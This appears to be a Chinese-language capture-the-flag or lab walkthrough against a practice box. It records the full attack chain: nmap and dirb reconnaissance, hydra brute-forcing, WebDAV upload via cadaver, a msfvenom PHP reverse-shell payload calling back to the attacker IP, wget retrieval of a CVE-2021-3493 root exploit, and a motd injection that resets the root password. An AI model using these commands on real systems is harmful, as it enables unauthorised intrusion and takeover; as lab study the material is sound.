- 主机发现
- 端口扫描
- dirb基于字典的目录扫描工具
- 网络存储文件共享之WebDAV
- 再尝试登陆下：
- cadaver工具连接
- 上传shell
- 用 msfvenom生成木马
- 提权 权限维持
- 用ssh尝试登录其他用户，
- 提权助手 提权 github 开源项目
- 挨个试一试
- 第一种 : 通过gcc编译提权文件，上传执行后，提权至root获取：
- 这种.c文件需要编译成可执行文件 记住
- 第二种：使用motd提权，
nmap -sS 192.168.226.0/24
端口扫描 dirb基于字典的目录扫描工具发现三个目录
访问该目录
再用hydra爆破以下
或者burpsuite爆破
yamdoot, Swarg
.海德拉（Hydra）
Medusa(美杜莎)
patator
msf
都可以
用cewl工具通过爬取网站信息的关键字来生成字典，通过生成的字典进行爆破
用hydra爆破工具爆破
-L指定用户名 -P指定密码 ip地址加协议加路径。http就是网站的协议，get是采用的请求方法，后面加路径
再尝试登陆下：无可用信息，查看下源代码：
cadaver工具连接cadaver http://192.168.8.132/webdav
username：yamdoot
password:Swarg
1.百度发现webdav服务，需要cadaver工具连接，连接之后可以上传
上传shellnmap -O 发现其实 linux 系统
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.226.142 lport=22345 -f raw -o /home/kali/Desktop/phpshell.php
监听
上传
liunx失败换一个php的
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.226.142 lport=22345 -f raw -o /home/kali/Desktop/phpshell.php
msf 监听
访问php文件
shell拿到
权限低
查看用户：
mnt 目录 hell.sh
https://www.splitbrain.org/services/ook
brainfuck to text解码，得到解密内容chitragupt 应该是密码
chitragupt
输入刚刚解密的密码，发现成功登录该用户
ssh inferno@192.168.226.155
https://github.com/mzet-/linux-exploit-suggester
linux中的.sh文件怎么执行？
1、直接./加上文件名.sh，如运行hello.sh为 ./hello.sh 【绝对路径下也可以，但hello.sh必须有x权限】
chmod u+x hello.sh
上传解压
通过https://github.com/briskets/CVE-2021-3493 下载提权文件：
使用gcc将提权文件编译成可执行文件：
gcc exploit.c -o exploit
开放本机的8888端口 提供下载：
通过wget 传送至靶机上：
wget http://192.168.226.142:8888/exploit
在文件中最后一行写入命令，将root密码替换掉，切换root用户获取。
echo “echo ‘root:inferno’|sudo chpasswd” >> /etc/update-motd.d/00-header
退出后重新用inferno登录
su -root
成功获取root权限： 密码 inferno
